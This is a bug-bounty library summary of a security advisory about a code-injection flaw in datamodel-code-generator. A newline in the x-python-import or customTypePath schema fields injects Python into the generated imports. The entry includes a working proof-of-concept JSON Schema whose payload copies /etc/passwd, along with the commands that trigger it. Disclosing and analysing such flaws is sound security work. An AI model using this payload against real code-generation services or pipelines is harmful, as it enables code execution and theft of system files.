# datamodel-code-generator vulnerable to code injection via `x-python-import` / `customTypePath` in generated import statements

Newline in x-python-import/customTypePath schema extensions breaks out of generated import statements, executing attacker Python at model-import time.

- Payout: Research
- Severity: high
- Program: datamodel-code-generator
- Found by: thegr1ffyn, mhamzakhattak, Muzammilxi
- Disclosed: 2026-07-28
- CVE: CVE-2026-55415
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-5578-w22f-pfx9
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-5578-w22f-pfx9
- Tags: area:oss domain:oss impact:data-leak impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** Python code generator (OpenAPI/JSON Schema to pydantic models)
**Root cause:** Import.from_full_path splits only on '.' and preserves newlines; create_line renders segments verbatim into `from X import Y` without validating Python identifiers.
**Steps:**
1. Craft JSON Schema with `x-python-import: {"module":"os","name":"getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_xpi_loot','w'),sep='',end='')"}`
2. Run `datamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py`
3. Generated model.py contains `from os import getcwd` followed by the injected `print(...)` at module scope
4. `python -c "import model"` executes the payload, copying /etc/passwd to /tmp/dmcg_xpi_loot
5. Same primitive via `customTypePath` field value
**How found:** Noticed v0.61.0 hardened x-python-type, default_factory, validators and GraphQL union sinks but left sibling schema-controlled paths (x-python-import, customTypePath) reaching the same Import.from_full_path sink; checked imports.py last-modified date and fix commits to confirm incomplete fix.
**Exploitation:** Attacker supplies a malicious OpenAPI/JSON Schema to a victim or multi-tenant codegen service/CI pipeline; when the generated module is imported, the injected module-scope statement runs with the importing process's privileges, enabling file read and full RCE.
**Escalation:** Payload constrained only by absence of '.'; attribute-free builtins suffice for arbitrary file read/write and code execution.
**Insight:** When a project ships a security release fixing schema-controlled codegen sinks, enumerate every other extension/field that reaches the same import/type rendering function — sibling paths are commonly missed; newline is a valid breakout in line-oriented code emitters even when dot-splitting constrains payloads.

## Proof of concept (copied exactly from the original report)

**Malicious x-python-import JSON schema payload**

```
{
  "type": "object",
  "title": "Root",
  "required": ["f"],
  "properties": { "f": { "$ref": "#/$defs/Evil" } },
  "$defs": {
    "Evil": {
      "type": "object",
      "x-python-import": {
        "module": "os",
        "name": "getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_xpi_loot','w'),sep='',end='')"
      }
    }
  }
}
```

**Generate and import commands triggering execution**

```
datamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py
python -c "import model"
```

